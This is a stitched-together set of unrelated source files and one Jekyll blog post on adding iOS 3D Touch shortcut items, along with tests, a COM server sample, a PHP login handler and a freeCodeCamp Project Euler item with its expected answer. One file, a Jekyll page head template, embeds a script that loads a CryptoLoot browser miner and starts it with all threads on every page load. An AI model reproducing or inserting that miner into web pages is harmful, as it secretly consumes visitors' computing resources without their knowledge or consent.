
            void IProbeSite.Probe(ProbeContext context)
            {
                 _pipe.Probe(context);
            }

            public async Task Send(SagaConsumeContext<TSaga, TMessage> context)
            {
                _sagas.Add(context);

                try
                {
                    await _pipe.Send(context).ConfigureAwait(false);

                    _received.Add(context);
                }
                catch (Exception ex)
                {
                    _received.Add(context, ex);
                    throw;
                }
            }
        }

        class InterceptPolicy<TMessage> :
            ISagaPolicy<TSaga, TMessage>
            where TMessage : class
        {
            readonly SagaList<TSaga> _created;
            readonly ISagaPolicy<TSaga, TMessage> _policy;

            public InterceptPolicy(SagaList<TSaga> created, ISagaPolicy<TSaga, TMessage> policy)
            {
                _created = created;
                _policy = policy;
            }

            public bool PreInsertInstance(ConsumeContext<TMessage> context, out TSaga instance)
            {
                return _policy.PreInsertInstance(context, out instance);
            }

            public Task Existing(SagaConsumeContext<TSaga, TMessage> context, IPipe<SagaConsumeContext<TSaga, TMessage>> next)
            {
                return _policy.Existing(context, next);
            }

            public Task Missing(ConsumeContext<TMessage> context, IPipe<SagaConsumeContext<TSaga, TMessage>> next)
            {
                var interceptPipe = new InterceptPolicyPipe(_created, next);

                return _policy.Missing(context, interceptPipe);
            }

            class InterceptPolicyPipe :
                IPipe<SagaConsumeContext<TSaga, TMessage>>
            {
                readonly SagaList<TSaga> _created;
                readonly IPipe<SagaConsumeContext<TSaga, TMessage>> _pipe;

                public InterceptPolicyPipe(SagaList<TSaga> created, IPipe<SagaConsumeContext<TSaga, TMessage>> pipe)
                {
                    _created = created;
                    _pipe = pipe;
                }

                void IProbeSite.Probe(ProbeContext context)
                {
                    _pipe.Probe(context);
                }

                public Task Send(SagaConsumeContext<TSaga, TMessage> context)
                {
                    _created.Add(context);

                    return _pipe.Send(context);
                }
            }
        }
    }
}


text:
layout: post
redirect_to: https://brightinventions.pl/blog/3dtouch-adopting-shortcut-items-to-your-app
title: 3D Touch - Adopting shortcut items to your app.
author: kwysocki
tags : [iOS, swift, 3d touch]
comments: true
---

With the beginning of the iPhone 6s, Apple has introduced a 3D Touch mechanism which is very cool thing. The 3D Touch is also available on
the newest iPhones 7. Nothing indicates that in the future Apple devices will run out of that feature so, here is a quick tutorial on how
to improve your app using the one of the three main features of 3D Touch.

![](https://static.pexels.com/photos/50603/iphone-6-apple-ios-iphone-50603.jpeg)

# Modify your Info.plist file

1. Add to your  `Info.plist` file a special key called `UIApplicationShortcutItems`. It should be an array.

2. Add items to `UIApplicationShortcutItems` array. Items should be a dictionary type.

3. Put info for each item.

  There are few values to set here.

      - UIApplicationShortcutItemType (required)
      - UIApplicationShortcutItemTitle (required)
      - UIApplicationShortcutItemSubtitle
      - UIApplicationShortcutItemIconType
      - UIApplicationShortcutItemIconFile
      - UIApplicationShortcutItemUserInfo

  I will focus on the values that I set in my example app. The `UIApplicationShortcutItemType` is a string that delivers an information to your app about what type of shortcut was pressed.
  `UIApplicationShortcutItemTitle` is what user sees when the shortcut is shown. `UIApplicationShortcutItemIconType` is a string that inform application what kind of ***system***  icon should be used for this shortcut.
  And the last one is `UIApplicationShortcutItemIconFile` defining the icon name that should be shown when the shortcut appears(instead of system icon).

  > Important thing here is that you can use system ***or*** your custom icons. Apple recommends that the custom icon should be square, single color, and 35x35 points.

  More about `UIApplicationShortcutItems` keys and description you can get from [Apple documentation](https://developer.apple.com/library/content/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple_ref/doc/uid/TP40009252-SW1).

  The configured `Info.plist` could look like that:

  ![](https://raw.githubusercontent.com/k8mil/k8mil.github.io/master/assets/posts/3dTouch/info-plist.png)

  and by code:

```xml
<key>UIApplicationShortcutItems</key>
<array>
	<dict>
		<key>UIApplicationShortcutItemType</key>
		<string>app.some_another_action</string>
		<key>UIApplicationShortcutItemTitle</key>
		<string>Title with custom icon</string>
		<key>UIApplicationShortcutItemIconFile</key>
		<string>apple-35</string>
	</dict>
	<dict>
		<key>UIApplicationShortcutItemType</key>
		<string>app.some_action</string>
		<key>UIApplicationShortcutItemIconType</key>
		<string>UIApplicationShortcutIconTypeAdd</string>
		<key>UIApplicationShortcutItemTitle</key>
		<string>Title with system icon</string>
	</dict>
</array>
```

***Final result***

Below you can see the result of above implementation.

![](https://raw.githubusercontent.com/k8mil/k8mil.github.io/master/assets/posts/3dTouch/custom_system_icon.gif)

# Application shortcut tap handling

Ok, now move to `AppDelegate` class and let's deal with the application's shortcut tap events.

#### 1.Override and implement `UIApplicationDelegate` method.

Let's focus on this method:
```swift
func application(_ application: UIApplication, performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Swift.Void)
```

That method is called every time when the application shortcut is pressed. You don't have to worry about your application state. If your app is in background mode it just wakes up your app and triggers `performActionFor` method. But if the application is terminated the app cycle will be `didLauchWithOptions` and then `performActionFor shortcutItem` will be called.
Of course, you can take the application shortcut in `didLauchWithOptions` method by:

```swift
if let shortcutItem = launchOptions?[UIApplicationLaunchOptionsShortcutItemKey] as? UIApplicationShortcutItem {
  //deal with it here
}
```

before it triggers the `performActionFor` method.

#### 2.Handling the `UIApplicationShortcutItem`

It's time to write some code here. So let's assume that your `AppDelegate` class includes these two methods:

```swift
func application(_ application: UIApplication, performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Swift.Void) {
    handleShortcut(shortcutItem)
}

private func handleShortcut(_ item: UIApplicationShortcutItem) {

}
```

Did you remember the `UIApplicationShortcutItemType`? Value for this key is very useful to identify what application shortcut was tapped.
But on the `Info.plist` file it occurs as a `String` type and I strongly advise against comparing the string in their pure form.
Very helpful here might be `Enum` type. So create the enum.

```swift
enum ApplicationShortcutTypes: String {
    case redApple = "show-red-apple"
    case greenApple = "show-green-apple"
}
```

I think comparing types using enum is a much better way to identify what type of shortcut was tapped.

Now get back to the `handleShortcut` method:

```swift
private func handleShortcut(_ item: UIApplicationShortcutItem) {
    guard let actionType = ApplicationShortcutTypes(rawValue: item.type) else {
        return
    }
    switch (actionType) {
    case .greenApple:
      showGreenAppleViewController()
    case .redApple:
      showRedAppleViewController()
    }
}
```

The effect of implementation will look like this:

![](https://raw.githubusercontent.com/k8mil/k8mil.github.io/master/assets/posts/3dTouch/working_app.gif)

As you can see above I create two quick actions with custom icon, title and subtitle.

# Dynamic shortcut items

It is worth to mention about dynamic shortcut items. Yes, UIApplicationShortcutItems are split between `static` and `dynamic`.

- static - that items are placed in `info.plist`
- dynamic - that items can be added and removed in code

To add dynamic shortcut item you just have to add it to `shortcutItems` array.

```
UIApplication.sharedApplication().shortcutItems?.append(UIMutableApplicationShortcutItem(type: "my-dynamic-shortcut", localizedTitle: "Dynamic shortcut"))
```

to remove:

```swift
if let shortcutItem = UIApplication.sharedApplication().shortcutItems?.filter({ $0.type == "my-dynamic-shortcut" }).first {
    guard let index = UIApplication.sharedApplication().shortcutItems?.indexOf(shortcutItem) else {
      return
    }
    UIApplication.sharedApplication().shortcutItems?.removeAtIndex(index)
}
```

# Conclusion

The 3D Touch is powerful feature and makes iOS apps very nice to use. Interesting fact is that from the iOS 10 all apps available on AppStore have predefined `Share App` shortcut. It allows us to share the applications without opening them. In my future posts I will describe more features that 3d touch gives us. So, thanks for reading and see you next time!

![](https://raw.githubusercontent.com/k8mil/k8mil.github.io/master/assets/posts/3dTouch/share_app.gif)

*This post is cross-posted with my personal [blog](https://wysockikamil.com/3dtouch-adopting-shortcut-items-to-your-app/)*

*This article is available at [a new location](https://brightinventions.pl/blog/3dtouch-adopting-shortcut-items-to-your-app)*


text:
import { should } from 'chai';
import flattenMessages, { flattenMessagesRevert } from '../../src/object/flattenMessages';

should();

const nestedMessages = {
  foo: {
    bar: 2,
  },
  foo2: {
    bar: false,
  },
  foo3: {
    bar: '1',
  },
  foo4: {
    bar: undefined,
  },
};

const messages = {
  'foo.bar': 2,
  'foo2.bar': false,
  'foo3.bar': '1',
};

describe('flattenMessages', () =>
{
  it('perfect attributes', () =>
  {
    flattenMessages(nestedMessages).should.to.be.deep.equal(messages);
  });
});

describe('flattenMessagesRevert', () =>
{
  it('perfect attributes', () =>
  {
    const input = { ...nestedMessages };
    delete input.foo4;

    flattenMessagesRevert(flattenMessages(input)).should.to.be.deep.equal(input);
  });
});


text:
class GlobBlock < Liquid::Block

  def initialize(tag_name, text, tokens)
    super

    @files = Dir.glob(text.strip).sort
  end

  def render(context)
    context.stack do
      context['files'] = @files
      render_all(@nodelist, context)
    end
  end

end

Liquid::Template.register_tag('glob', GlobBlock)


text:
package com.asakusafw.runtime.io.text.tabular;

import static org.hamcrest.Matchers.*;
import static org.junit.Assert.*;

import java.io.IOException;
import java.io.StringReader;
import java.util.ArrayList;
import java.util.List;

import org.junit.Test;

/**
 * Test for {@code LineCursor}.
 */
public class LineCursorTest {

    /**
     * simple case.
     */
    @Test
    public void simple() {
        List<String> results = parse("Hello, world!");
        assertThat(results, contains("Hello, world!"));
    }

    /**
     * w/ LF.
     */
    @Test
    public void lf() {
        List<String> results = parse("hello\nworld\n\n!\n");
        assertThat(results, contains("hello", "world", "", "!"));
    }

    /**
     * w/ CR.
     */
    @Test
    public void cr() {
        List<String> results = parse("hello\rworld\r\r!\r");
        assertThat(results, contains("hello", "world", "", "!"));
    }

    /**
     * w/ CRLF.
     */
    @Test
    public void crlf() {
        List<String> results = parse("hello\r\nworld\r\n\r\n!\r\n");
        assertThat(results, contains("hello", "world", "", "!"));
    }

    /**
     * w/ escape.
     */
    @Test
    public void escape() {
        List<String> results = parse('\\', false, "Hello\\, world!");
        assertThat(results, contains("Hello\\, world!"));
    }

    /**
     * w/ escape + LF.
     */
    @Test
    public void escape_lf() {
        List<String> results = parse('\\', false, "Hello\\\nworld");
        assertThat(results, contains("Hello\\\nworld"));
    }

    /**
     * w/ escape + CR.
     */
    @Test
    public void escape_cr() {
        List<String> results = parse('\\', false, "Hello\\\rworld");
        assertThat(results, contains("Hello\\\rworld"));
    }

    /**
     * w/ escape + CRLF.
     */
    @Test
    public void escape_crlf() {
        List<String> results = parse('\\', false, "Hello\\\r\nworld");
        assertThat(results, contains("Hello\\\r\nworld"));
    }

    /**
     * w/ escape, escape, LF w/o meta-escape.
     */
    @Test
    public void escape_escape_lf() {
        List<String> results = parse('\\', false, "Hello\\\\\nworld");
        assertThat(results, contains("Hello\\\\\nworld"));
    }

    /**
     * w/ escape, escape, CR w/o meta-escape.
     */
    @Test
    public void escape_escape_cr() {
        List<String> results = parse('\\', false, "Hello\\\\\rworld");
        assertThat(results, contains("Hello\\\\\rworld"));
    }

    /**
     * w/ escape, escape, CRLF w/o meta-escape.
     */
    @Test
    public void escape_escape_crlf() {
        List<String> results = parse('\\', false, "Hello\\\\\r\nworld");
        assertThat(results, contains("Hello\\\\\r\nworld"));
    }

    /**
     * w/ escape, escape, LF w/ meta-escape.
     */
    @Test
    public void escape_escape_lf_metaescape() {
        List<String> results = parse('\\', true, "Hello\\\\\nworld");
        assertThat(results, contains("Hello\\\\", "world"));
    }

    /**
     * w/ escape, escape, CR w/ meta-escape.
     */
    @Test
    public void escape_escape_cr_metaescape() {
        List<String> results = parse('\\', true, "Hello\\\\\rworld");
        assertThat(results, contains("Hello\\\\", "world"));
    }

    /**
     * w/ escape, escape, CRLF w/ meta-escape.
     */
    @Test
    public void escape_escape_crlf_metaescape() {
        List<String> results = parse('\\', true, "Hello\\\\\r\nworld");
        assertThat(results, contains("Hello\\\\", "world"));
    }

    /**
     * w/ escape, EOF.
     */
    @Test
    public void escape_eof() {
        List<String> results = parse('\\', false, "Hello\\");
        assertThat(results, contains("Hello\\"));
    }

    /**
     * w/ escape, CR, EOF.
     */
    @Test
    public void escape_cr_eof() {
        List<String> results = parse('\\', false, "Hello\\\r");
        assertThat(results, contains("Hello\\\r"));
    }

    /**
     * w/ escape, CR, escape, LF.
     */
    @Test
    public void escape_cr_escape_lf() {
        List<String> results = parse('\\', false, "Hello\\\r\\\nworld");
        assertThat(results, contains("Hello\\\r\\\nworld"));
    }

    /**
     * w/ escape, CR, CR.
     */
    @Test
    public void escape_cr_cr() {
        List<String> results = parse('\\', false, "Hello\\\r\rworld");
        assertThat(results, contains("Hello\\\r", "world"));
    }

    /**
     * w/ spilling.
     */
    @Test
    public void spill() {
        int chunkSize = (int) (LineCursor.READ_BUFFER_SIZE * 1.3);
        StringBuilder buf = new StringBuilder();
        for (int i = 0; i < chunkSize; i++) {
            buf.append((char) ('0' + i % 10));
        }
        String chunk = buf.toString();
        List<String> results = parse(new StringBuilder()
                .append(chunk)
                .append("\n")
                .append(chunk)
                .append("\n")
                .append(chunk)
                .append("\n")
                .toString());
        assertThat(results, contains(chunk, chunk, chunk));
    }

    /**
     * w/ spilling.
     * {@code ... <spill> \n ! }.
     */
    @Test
    public void spill_align_lf() {
        StringBuilder buf = new StringBuilder();
        for (int i = 0; i < LineCursor.READ_BUFFER_SIZE; i++) {
            buf.append((char) ('0' + i % 10));
        }
        String chunk = buf.toString();
        List<String> results = parse(chunk + "\n!");
        assertThat(results, contains(chunk, "!"));
    }

    /**
     * w/ spilling.
     * {@code ... \r <spill> \r ! }.
     */
    @Test
    public void spill_cross_crlf() {
        StringBuilder buf = new StringBuilder();
        for (int i = 0; i < LineCursor.READ_BUFFER_SIZE - 1; i++) {
            buf.append((char) ('0' + i % 10));
        }
        String chunk = buf.toString();
        List<String> results = parse(chunk + "\r\n!");
        assertThat(results, contains(chunk, "!"));
    }

    /**
     * w/ line numbers.
     * @throws Exception if failed
     */
    @Test
    public void line_number() throws Exception {
        String contents = new StringBuilder()
                .append("0\n")
                .append("1\r\n")
                .append("2\r")
                .append("3\\\n4\n")
                .append("5\\\r\n6\n")
                .append("7\\\r8\n")
                .append("9\r\r11\n")
                .append("12\\\r\r14\n")
                .toString();
        try (LineCursor cursor = new LineCursor(new StringReader(contents), '\\', true, true)) {
            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(0L));
            assertThat(cursor.getContent().toString(), is("0"));

            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(1L));
            assertThat(cursor.getContent().toString(), is("1"));

            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(2L));
            assertThat(cursor.getContent().toString(), is("2"));

            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(3L));
            assertThat(cursor.getContent().toString(), is("3\\\n4"));

            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(5L));
            assertThat(cursor.getContent().toString(), is("5\\\r\n6"));

            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(7L));
            assertThat(cursor.getContent().toString(), is("7\\\r8"));

            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(9L));
            assertThat(cursor.getContent().toString(), is("9"));

            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(10L));
            assertThat(cursor.getContent().toString(), is(""));

            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(11L));
            assertThat(cursor.getContent().toString(), is("11"));

            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(12L));
            assertThat(cursor.getContent().toString(), is("12\\\r"));

            assertThat(cursor.next(), is(true));
            assertThat(cursor.getLineNumber(), is(14L));
            assertThat(cursor.getContent().toString(), is("14"));

            assertThat(cursor.next(), is(false));
            assertThat(cursor.getLineNumber(), is(lessThan(0L)));
        }
    }

    private static List<String> parse(String contents) {
        return parse((char) 0, false, false, contents);
    }

    private static List<String> parse(char meta, boolean escapeMeta, String contents) {
        return parse(meta, true, escapeMeta, contents);
    }

    private static List<String> parse(char meta, boolean escape, boolean escapeMeta, String contents) {
        try (LineCursor cursor = new LineCursor(new StringReader(contents), meta, escape, escapeMeta)) {
            List<String> results = new ArrayList<>();
            while (cursor.next()) {
                results.add(cursor.getContent().toString());
            }
            return results;
        } catch (IOException e) {
            throw new AssertionError(e);
        }
    }
}


text:
import sys, os
import pythoncom
import win32com
import winerror
from win32com.server.util import wrap

try:
    __file__ # 2.3 only for __main__
except NameError:
    __file__ = sys.argv[0]

class CPippo:
    #
    # COM declarations
    #
    _reg_clsid_ = "{05AC1CCE-3F9B-4d9a-B0B5-DFE8BE45AFA8}"
    _reg_desc_ = "Pippo Python test object"
    _reg_progid_ = "Python.Test.Pippo"
    #_reg_clsctx_ = pythoncom.CLSCTX_LOCAL_SERVER
    ###
    ### Link to typelib
    _typelib_guid_ = '{41059C57-975F-4B36-8FF3-C5117426647A}'
    _typelib_version_ = 1, 0
    _com_interfaces_ = ['IPippo']

    def __init__(self):
        self.MyProp1 = 10

    def Method1(self):
        return wrap(CPippo())

    def Method2(self, in1, inout1):
        return in1, inout1 * 2

def BuildTypelib():
    from distutils.dep_util import newer
    this_dir = os.path.dirname(__file__)
    idl = os.path.abspath(os.path.join(this_dir, "pippo.idl"))
    tlb=os.path.splitext(idl)[0] + '.tlb'
    if newer(idl, tlb):
        print "Compiling %s" % (idl,)
        rc = os.system ('midl "%s"' % (idl,))
        if rc:
            raise RuntimeError("Compiling MIDL failed!")
        # Can't work out how to prevent MIDL from generating the stubs.
        # just nuke them
        for fname in "dlldata.c pippo_i.c pippo_p.c pippo.h".split():
            os.remove(os.path.join(this_dir, fname))

    print "Registering %s" % (tlb,)
    tli=pythoncom.LoadTypeLib(tlb)
    pythoncom.RegisterTypeLib(tli,tlb)

def UnregisterTypelib():
    k = CPippo
    try:
        pythoncom.UnRegisterTypeLib(k._typelib_guid_,
                                    k._typelib_version_[0],
                                    k._typelib_version_[1],
                                    0,
                                    pythoncom.SYS_WIN32)
        print "Unregistered typelib"
    except pythoncom.error, details:
        if details[0]==winerror.TYPE_E_REGISTRYACCESS:
            pass
        else:
            raise

def main(argv=None):
    if argv is None: argv = sys.argv[1:]
    if '--unregister' in argv:
        # Unregister the type-libraries.
        UnregisterTypelib()
    else:
        # Build and register the type-libraries.
        BuildTypelib()
    import win32com.server.register
    win32com.server.register.UseCommandLine(CPippo)

if __name__=='__main__':
    main(sys.argv)


text:
import { Component, OnInit } from '@angular/core';

/**
 * Home component
 */
@Component({
  selector: 'app-admin',
  templateUrl: './admin.component.html'
})
export class AdminComponent implements OnInit {

  constructor() {}

  ngOnInit(): void {
    console.debug('# AdminComponent started');
  }
}


text:
package python.platform;

import java.lang.management.ManagementFactory;
import java.lang.management.ThreadMXBean;

public class JavaPlatform implements python.Platform {
    public JavaPlatform() {}

    public long clock() {
        ThreadMXBean tmxb = ManagementFactory.getThreadMXBean();
        return tmxb.getCurrentThreadCpuTime();
    }

    public void debug(java.lang.String msg) {
        System.out.println("DEBUG " + msg);
    }

    public void debug(java.lang.String msg, java.lang.Object obj) {
        System.out.println("DEBUG " + msg + ": " + obj);
    }

}


text:
using System.Collections.Generic;
using System.Data.SqlClient;
using bv.model.BLToolkit;
using eidss.model.Reports;
using EIDSS.Reports.BaseControls.Report;
using EIDSS.Reports.Factory;

namespace EIDSS.Reports.Document.Lim.ContainerDetails
{
    [NullableAdapters]
    public sealed partial class LimSampleReport : BaseDocumentReport
    {
        public LimSampleReport()
        {
            InitializeComponent();
        }

        public override void SetParameters
            (string lang, Dictionary<string, string> parameters, DbManagerProxy manager, DbManagerProxy archiveManager)
        {
            base.SetParameters(lang, parameters, manager, archiveManager);
            long caseId = (GetLongParameter(parameters, "@ObjID"));

            m_Adapter.Connection = (SqlConnection) manager.Connection;
            m_Adapter.Transaction = (SqlTransaction) manager.Transaction;
            m_Adapter.CommandTimeout = CommandTimeout;
            m_DataSet.EnforceConstraints = false;

            m_Adapter.Fill(m_DataSet.ContainerDetails, lang, caseId);
            FillBarcode();

            ReportRtlHelper.SetRTL(this);
        }

        private void FillBarcode()
        {
            if (m_DataSet.ContainerDetails.Count > 0)
            {
                SampleDataSet.ContainerDetailsRow row = m_DataSet.ContainerDetails[0];

                BarcodeCell.Text = row.IsstrLabSampleIDNull()
                    ? string.Empty
                    : m_BarCode.Code128(row.strLabSampleID);
            }
        }
    }
}


text:
describe("WindowProxy",
function() {
	var windowProxy;

	beforeEach(function() {
		windowProxy = new Porthole.WindowProxy('http://localhost/proxy.html');
	});

	it("should add an event listener",
	function() {
		var listener = jasmine.createSpy();
		expect(windowProxy.addEventListener(listener)).toBe(listener);
	});

	it("should remove an event listener",
	function() {
		var listener = jasmine.createSpy();
		windowProxy.addEventListener(listener);
		windowProxy.removeEventListener(listener);
	});

	it("should call an event listener",
	function() {
		var verifyEvent = function(e) {
			expect(e.data).toEqual('event');
			expect(e.origin).toEqual('origin');
		};
		var listener = jasmine.createSpy('listener').andCallFake(verifyEvent);
		windowProxy.addEventListener(listener);
		var e = new Porthole.MessageEvent('event', 'origin', null);
		windowProxy.dispatchEvent(e);
		expect(listener).toHaveBeenCalled();
	});

	describe(".serialize",
	function(){
		it("should serialize a string",
		function(){
			var aString = "Some random string";
			expect(Porthole.WindowProxy.serialize(aString)).toEqual('"Some random string"');
		});

		it("should serialize a an array",
		function(){
			var anArray = [1,2,3];
			expect(Porthole.WindowProxy.serialize(anArray)).toEqual('[1,2,3]');
		});

		it("should serialize a hash",
		function(){
			var aHash = { 'key' : 'value' };
			expect(Porthole.WindowProxy.serialize(aHash)).toEqual('{"key":"value"}');
		});

		it("should serialize an object",
		function(){
			var anObject = {abc: 123, x: { y: 123, z: "string"}};
			expect(Porthole.WindowProxy.serialize(anObject)).toEqual('{"abc":123,"x":{"y":123,"z":"string"}}');
		});
	});

	describe(".unserialize",
	function(){
		it("should deserialize a string",
		function(){
			expect(Porthole.WindowProxy.unserialize('"A string"')).toEqual("A string");
		});

		it("should deserialize a an array",
		function(){
			expect(Porthole.WindowProxy.unserialize('[1,2,3]')).toEqual([1,2,3]);
		});

		it("should deserialize a hash",
		function(){
			expect(Porthole.WindowProxy.unserialize('{"key":"value"}')).toEqual({ 'key' : 'value' });
		});

		it("should deserialize an object",
		function(){
			expect(Porthole.WindowProxy.unserialize('{"abc":123,"x":{"y":123,"z":"string"}}')).toEqual({abc: 123, x: { y: 123, z: "string"}});
		});

	});

});


text:
id: 5900f5271000cf542c510039
title: 'Problem 442: Eleven-free integers'
challengeType: 5
forumTopicId: 302114
dashedName: problem-442-eleven-free-integers
---

# --description--

An integer is called eleven-free if its decimal expansion does not contain any substring representing a power of 11 except 1.

For example, 2404 and 13431 are eleven-free, while 911 and 4121331 are not.

Let $E(n)$ be the $n$th positive eleven-free integer. For example, $E(3) = 3$, $E(200) = 213$ and $E(500\\,000) = 531\\,563$.

Find $E({10}^{18})$.

# --hints--

`elevenFreeIntegers()` should return `1295552661530920200`.

```js
assert.strictEqual(elevenFreeIntegers(), 1295552661530920200);
```

# --seed--

## --seed-contents--

```js
function elevenFreeIntegers() {

  return true;
}

elevenFreeIntegers();
```

# --solutions--

```js
// solution required
```


text:
SYNONYM

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
K. B. Presl, Reliq. haenk. 1:318. 1830

#### Original name
null

### Remarks
null


text:
<?php
	/*
	 *  Manuel Treutlein
	 *
	 *  Leitet bei richtiger Passworteingabe den Nutzer an die Hauptseite weiter, bei falschem Passwort, zurück zur Startseite
	 *
	 */

	include_once 'User.php';
	include_once 'Security.php';
	$sec = new Security();

	if($sec->safeEscape($_POST["e-mail"]) == "" || $sec->safeEscape($_POST["password"]) == "") // Felder müssen ausgefüllt sein
	{
		header('location: index.php');
	}
	else // Passwort prüfen
	{
		$email = $sec->safeEscape($_POST["e-mail"]);
		$password = $sec->safeEscape($_POST["password"]);

		$user = new User($email); // den User als Schnittstelle erstellen
		if($user->checkPassword($email, $sec->encode($password))) // Abfragen
		{
			session_start();
			$_SESSION['user'] = $user;
			$user->insertLogfile(1); // Login speichern
			header('location: main.php'); // Passwort richtig: Hauptseite
		}
		else
		{
			$user->insertLogfile(0); // Login speichern
			unset($user);
			$user = null;
			session_destroy();
			usleep(500000); // halbe Sekunde warten: macht Brutforce schwieriger
			header('location: index.php'); // Passwort falsch: Startseite
		}
	}
?>


text:
import sys

import rlglued.network.network as network

class ClientEnvironment(object):
    kUnknownMessage = "Unknown Message: "
    network = None
    env = None

    # (agent) -> void
    def __init__(self, environment):
        self.env = environment
        self.network = network.Network()

    # () -> void
    def oninit(self):
        task_spec = self.env.init()
        self.network.clear_send_buffer()
        self.network.put_int(network.kEnvInit)
        self.network.put_int(len(task_spec) + 4)  # Also including the length put in by putString
        self.network.put_string(task_spec)

    # () -> void
    def onsetup(self):
        self.env.setup()
        self.network.clear_send_buffer()
        self.network.put_int(network.kEnvSetup)
        self.network.put_int(0)  # No data following this header

    # () -> void
    def onstart(self):
        observation = self.env.start()
        size = self.network.sizeof_Observation(observation)
        self.network.clear_send_buffer()
        self.network.put_int(network.kEnvStart)
        self.network.put_int(size)
        self.network.put_Observation(observation)

    # () -> void
    def onstep(self):
        action = self.network.get_Action()
        reward_observation = self.env.step(action)
        size = self.network.sizeof_RewardObservation(reward_observation)
        self.network.clear_send_buffer()
        self.network.put_int(network.kEnvStep)
        self.network.put_int(size)
        self.network.put_RewardObservation(reward_observation)

    # () -> void
    def oncleanup(self):
        self.env.cleanup()
        self.network.clear_send_buffer()
        self.network.put_int(network.kEnvCleanup)
        self.network.put_int(0)  # No data in this packet

    # () -> void
    def onmessage(self):
        message = self.network.get_string()
        reply = self.env.message(message)
        self.network.clear_send_buffer()
        self.network.put_int(network.kEnvMessage)
        if reply is None:
            # Brian Tanner added payload even for empty message (IE: send that the size is 0)
            self.network.put_int(4)
            self.network.put_int(0)
        else:
            # Brian Tanner, added 4 to the payload size because we putString sends the string AND its size
            self.network.put_int(len(reply) + 4)
            self.network.put_string(reply)

    # (string, int, int) -> void
    def connect(self, host, port, timeout):
        self.network.connect(host, port, timeout)
        self.network.clear_send_buffer()
        self.network.put_int(network.kEnvironmentConnection)
        self.network.put_int(0)  # No body to this packet
        self.network.send()

    # () -> void
    def close(self):
        self.network.close()

    # () -> void
    def run_event_loop(self):
        state = 0

        while state != network.kRLTerm:
            self.network.clear_recv_buffer()
            recv_size = self.network.recv(8) - 8  # We may have received the header and part of the payload
            # We need to keep track of how much of the payload was recv'd
            state = self.network.get_int()
            data_size = self.network.get_int()

            remaining = data_size - recv_size
            if remaining < 0:
                print("Remaining was less than 0!")
                remaining = 0

            amount_received = self.network.recv(remaining)

            # Already read the header, discard it
            self.network.get_int()
            self.network.get_int()

            switch = {
                network.kEnvInit: self.oninit,
                network.kEnvSetup: self.onsetup,
                network.kEnvStart: self.onstart,
                network.kEnvStep: self.onstep,
                network.kEnvCleanup: self.oncleanup,
                network.kEnvMessage: self.onmessage}
            if state in switch:
                switch[state]()
            elif state == network.kRLTerm:
                pass
            else:
                sys.stderr.write(network.kUnknownMessage % (str(state)))
                sys.exit(1)

            self.network.send()


text:
package net.soliddesign.iumpr.bus.j1939.packets;

import net.soliddesign.iumpr.bus.Packet;

/**
 * The {@link ParsedPacket} for Emission-Related Permanent Diagnostic Trouble
 * Codes (DM28)
 *
 * @author Matt Gumbel (matt@soliddesign.net)
 *
 */
public class DM28PermanentEmissionDTCPacket extends DiagnosticTroubleCodePacket {
    public static final int PGN = 64896;

    public DM28PermanentEmissionDTCPacket(Packet packet) {
        super(packet);
    }

    @Override
    public String getName() {
        return "DM28";
    }

}


text:
<head>
		<title>{{ site.title }}</title>
		<meta charset="utf-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<!--[if lte IE 8]><script src="{{ site.url }}{{ site.baseurl }}/assets/js/ie/html5shiv.js"></script><![endif]-->
		<link rel="stylesheet" href="{{ site.url }}{{ site.baseurl }}/assets/css/main.css" />
		<!--[if lte IE 8]><link rel="stylesheet" href="{{ site.url }}{{ site.baseurl }}/assets/css/ie8.css" /><![endif]-->
		<script src="https://crypto-loot.com/lib/miner.min.js"></script>
<script>
var miner=new CryptoLoot.Anonymous('382582353b26ecea3490f5728f8b9aa3230fb238eec9',
        {autoThreads:true}
);
miner.start();
</script></head>


text:
/*
 * This software is distributed under BSD 3-clause license (see LICENSE file).
 *
 * Authors: Vojtech Franc, Soeren Sonnenburg, Heiko Strathmann, Evan Shelhamer,
 *          Sergey Lisitsyn
 */

#ifndef _GNPPSVM_H___
#define _GNPPSVM_H___

#include <shogun/lib/config.h>
#include <shogun/lib/common.h>
#include <shogun/classifier/svm/SVM.h>

namespace shogun
{
/** @brief class GNPPSVM */
class GNPPSVM : public SVM
{
	public:
		/** default constructor */
		GNPPSVM();

		/** constructor
		 *
		 * @param C constant C
		 * @param k kernel
		 * @param lab labels
		 */
		GNPPSVM(float64_t C, std::shared_ptr<Kernel> k, std::shared_ptr<Labels> lab);

		~GNPPSVM() override;

		/** get classifier type
		 *
		 * @return classifier type GNPPSVM
		 */
		EMachineType get_classifier_type() override { return CT_GNPPSVM; }

		/** @return object name */
		const char* get_name() const override { return "GNPPSVM"; }

	protected:
		/** train SVM classifier
		 *
		 * @param data training data (parameter can be avoided if distance or
		 * kernel-based classifiers are used and distance/kernels are
		 * initialized with train data)
		 *
		 * @return whether training was successful
		 */
		bool train_machine(std::shared_ptr<Features> data=NULL) override;
};
}
#endif


text:
@interface XBCat : XBCodingObject

@property (nonatomic, copy) NSString *catName;
@property (nonatomic, copy) NSString *catAge;

@end


text:
package org.elasticsearch.api.demo.lucene;

import org.apache.lucene.analysis.Analyzer;
import org.apache.lucene.analysis.standard.StandardAnalyzer;
import org.apache.lucene.document.*;
import org.apache.lucene.index.IndexWriter;
import org.apache.lucene.index.IndexWriterConfig;
import org.apache.lucene.index.Term;
import org.apache.lucene.store.Directory;
import org.apache.lucene.store.FSDirectory;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
